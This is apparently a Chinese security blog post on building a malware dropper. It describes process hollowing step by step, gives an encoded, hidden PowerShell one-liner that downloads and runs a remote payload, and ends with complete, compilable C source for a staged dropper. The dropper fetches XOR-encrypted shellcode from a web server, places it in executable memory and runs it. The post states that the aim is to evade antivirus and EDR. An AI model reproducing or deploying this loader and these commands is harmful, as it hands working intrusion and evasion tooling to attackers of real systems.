Dropper设计与实现

2025-9-11 59 9/11

Dropper设计与实现

知识卡片

  1. 了解隐藏

    用户态隐藏(隐藏窗口、文件、进程)、内核态隐藏(Rootkit)

  1. Dropper定义

    用于“投递”恶意载荷的轻量级程序。

  2. Dropper vs. Loader:Dropper通常负责释放并运行载荷(可能写入磁盘),而Loader更偏向于直接将载荷加载进内存执行

  3. Dropper执行方式:Shellcode加载、DLL侧加载、白加黑、利用系统工具执行等

详细讲解

命令窗口隐藏

  1. 编译时隐藏

gcc只需要加一个参数-mwindows

gcc -o payload.exe payload.c -mwindows
  1. 运行时隐藏

可以使用ShowWindows隐藏

ShowWindow(hWnd, SW_HIDE);

hWnd是我们窗口的句柄

进程隐藏

  1. 进程镂空

核心思想就是要创建一个合法的、受信任的进程,然后将这个进程的内存掏空,然后将我们的恶意代码塞进去,并在这个进程中执行我们的代码。

步骤一:创建挂起状态的合法进程

调用API(如CreateProcessA/W),创建一个合法的、无恶意特征的系统进程(例如notepad.execalc.exe等),在调用时需要指定CREATE_SUSPENDED标志,让进程创建后处于挂起状态

步骤二:掏空原进程内存并写入恶意ShellCode

1.卸载原进程代码

调用未公开的内核APINtUnmapViewOfSection,卸载挂起进程中原来的可执行文件占用的内存空间

2.分配新内存

通过调用VirtualAllocExAPI,在挂起进程的地址空间中分配一块新的、可读可写可执行(PAGE_EXECUTE_READWRITE)的内存区域

3.写入ShellCode

调用WriteProcessMemory,将预先准备好的ShellCode载入到内存

步骤三:修改线程上下文,设置恶意代码入口点

先调用GetThreadContext获取挂起主线程的上下文(CONTEXT 结构体)

然后修改上下文结构体中的Rip(x64)或Eip(x86)寄存器值,使其指向上面写入ShellCode的内存起始地址;

最后调用SetThreadContext将修改后的上下文写回线程

步骤四:恢复进程运行,执行恶意代码

调用ResumeThread API,恢复挂起进程的主线程运行

  1. 无文件技术

让我们的代码从头到尾不落地,这就需要在Powershell、WScript等系统工具内存执行了,或者利用注册表、WMI等进行存储和启动

比如一个经典的Powershell一行加载器:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc SQBCAEYARgBBAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEALwBwAGEAeQBvAGEAbABkACcAKQ==

Base64解码后就是从远程服务器下载并执行payload的命令

Dropper设计与实现

为什么要设计Dropper? 为什么不直接Loader执行直接上线呢?

Dropper翻译过来就是“投递器”,其设计理念是体积小、执行简单(只远程下载一小段代码并负责解密存入内存),Dropper越简单越好,配合着合法进程或工具效果更佳。

Loader恶意特征太明显,都是些敏感API调用等,直接让目标触发Loader有很大难度,一是可能落地即杀,或者是在运行后直接触发杀软/EDR防御。但是我们用Dropper就可以远程下载二进制形式的Loader并将其存入内存缓冲区,并进行解密,此时Loader已经处于内存中了,内存就能直接调用执行。

Dropper的实现

这里就直接实现分阶段类型Dropper

#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")

// XOR 密钥
#define XOR_KEY 0x5A

// 1. 解密函数
void XOR_Decrypt(unsigned char *data, size_t len) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= XOR_KEY;
    }
}
// 2. 远程下载函数 (下载到内存)
// 返回值:下载的数据长度,如果失败返回 0
// out_buffer: 用于存储下载数据的指针的地址
size_t DownloadPayload(const char *url, unsigned char **out_buffer) {
    HINTERNET hInternet, hConnect;
    DWORD bytesRead;
    DWORD totalBytes = 0;
    DWORD bufferSize = 1024; // 初始缓冲区大小
    unsigned char *buffer = (unsigned char *)malloc(bufferSize);
    if (!buffer) return 0;
    // 初始化 WinINet
    hInternet = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64)", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        printf("[!] InternetOpen 失败\n");
        free(buffer);
        return 0;
    }
    // 打开 URL
    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (!hConnect) {
        printf("[!] InternetOpenUrl 失败\n");
        InternetCloseHandle(hInternet);
        free(buffer);
        return 0;
    }
    // 循环读取数据
    unsigned char chunk[1024];
    while (InternetReadFile(hConnect, chunk, sizeof(chunk), &bytesRead) && bytesRead > 0) {
        // 如果缓冲区不够,扩展它
        if (totalBytes + bytesRead > bufferSize) {
            bufferSize *= 2;
            unsigned char *newBuffer = (unsigned char *)realloc(buffer, bufferSize);
            if (!newBuffer) {
                free(buffer);
                InternetCloseHandle(hConnect);
                InternetCloseHandle(hInternet);
                return 0;
            }
            buffer = newBuffer;
        }
        // 将读取的数据追加到缓冲区
        memcpy(buffer + totalBytes, chunk, bytesRead);
        totalBytes += bytesRead;
    }
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
    *out_buffer = buffer;
    return totalBytes;
}

int main() {
    // 需要先用 Python 生成一段 Shellcode,用 0x5A 异或加密,然后放在 Web 服务器上
    const char *remote_url = "http://192.168.1.133/1.bin"; 
    unsigned char *payload_buffer = NULL;
    printf("[*] 正在从 %s 下载 Payload...\n", remote_url);
    
    // 1. 下载
    size_t payload_size = DownloadPayload(remote_url, &payload_buffer);
    if (payload_size == 0 || payload_buffer == NULL) {
        printf("[!] 下载失败或文件为空。\n");
        return 1;
    }
    printf("[+] 下载成功,大小: %zu 字节\n", payload_size);
    // 2. 申请内存
    // VirtualAlloc 是关键,我们需要 PAGE_EXECUTE_READWRITE (RWX) 权限
    void *exec_mem = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        printf("[!] 内存申请失败\n");
        free(payload_buffer);
        return 1;
    }
    // 3. 将下载的数据复制到新申请的可执行内存中
    memcpy(exec_mem, payload_buffer, payload_size);
    // 释放原始堆内存
    free(payload_buffer);
    // 4. 解密 (内存进行)
    printf("[*] 正在内存中解密...\n");
    XOR_Decrypt((unsigned char *)exec_mem, payload_size);
    // 5. 执行
    printf("[*] 跳转执行 Shellcode...\n");
    // 将内存地址强制转换为函数指针并调用
    ((void(*)())exec_mem)();
    return 0;
}

编译链接

gcc dropper.c -o dropper.exe -lwininet

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论